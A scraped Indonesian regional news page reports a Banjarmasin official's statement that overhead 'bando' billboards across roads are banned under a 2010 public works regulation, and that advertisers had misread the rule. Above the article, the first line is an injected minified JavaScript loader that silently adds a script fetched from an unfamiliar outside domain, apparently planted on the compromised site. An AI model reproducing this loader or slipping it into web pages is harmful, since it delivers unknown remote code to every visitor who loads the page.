(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Asisten II: Reklame Bando Tidak Diperbolehkan Melintang di Atas Jalan Â


KANALKALIMANTAN.COM, BANJARMASIN – Setelah mencapai kesepakatan dengan Asosiasi Pengusaha Periklanan Seluruh Indonesia (APPSI) Kalimantan Selatan, iklan-iklan yang ditempatkan di bando reklame sempat ditertibkan dapat kembali ditayangkan.

Namun demikian, APPSI Kalsel diminta untuk menyusun konsep baru pengganti papan reklame bando.

Kepada awak media, Selasa (9/6/2020) siang, Asisten II Bidang Ekonomi Setdako Banjarmasin Ir Doyo Pudjadi mengatakan, berdasarkan Permen PU Nomor 20 tahun 2010 pasal 8 ayat (3) menyebutkan bahwa reklame yang melintang di atas jalan sudah tidak diperbolehkan. Doyo mengklaim, APPSI Kalsel menerima penjelasan ini.

Namun demikian, Doyo menyebut bahwa APPSI Kalsel selama ini belum memahami bando reklame itu tidak diperbolehkan membentang di atas jalan. Selama ini, menurut Doyo, asumsi dari APPSI Kalsel itu boleh.

Berdasarkan Permen PU Nomor 20 tahun 2010 pasal 8 ayat (3) menyebutkan bahwa reklame yang melintang di atas jalan sudah tidak diperbolehkan. foto: fikri

“Karena ada ayat yang menyebutkan ada kata ‘lapangan’, sehingga boleh ada bando. (Asumsi mereka) lapangan itu, ya jalan,” kaya Doyo.

Baca juga: Papan Reklame Bando  Diubah Bentuk, Wali Kota Enggan Komentar

Kendati begitu, setelah mendapatkan penjelasan dari Kabag Hukum Setdako Banjarmasin bahwa ada penjelasan kata ‘lapangan’. Di mana, kata ‘lapangan’ yang dimaksud bukanlah jalan raya, tetapi lapangan terbuka.

“Jadi sekarang mereka baru memahami bahwa bando (reklame) itu tidak boleh, baru hari ini. Selama ini mereka beranggapan boleh, karena ada misinterpretasi,” lugas Doyo.

Diakui Doyo, pengusaha periklanan yang tergabung dalam APPSI Kalsel ini sudah terikat kontrak dengan kliennya. Mengingat penggunaan bando reklame sendiri memiliki tenggat waktu yang disepakati antara pengusaha periklanan dengan klien.

Sehingga, ketika bando reklame itu ‘dipotong’ di tengah jalan, akan menjadi sebuah masalah. Akibatnya, pengusaha periklanan harus membayar ganti rugi kepada klien. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.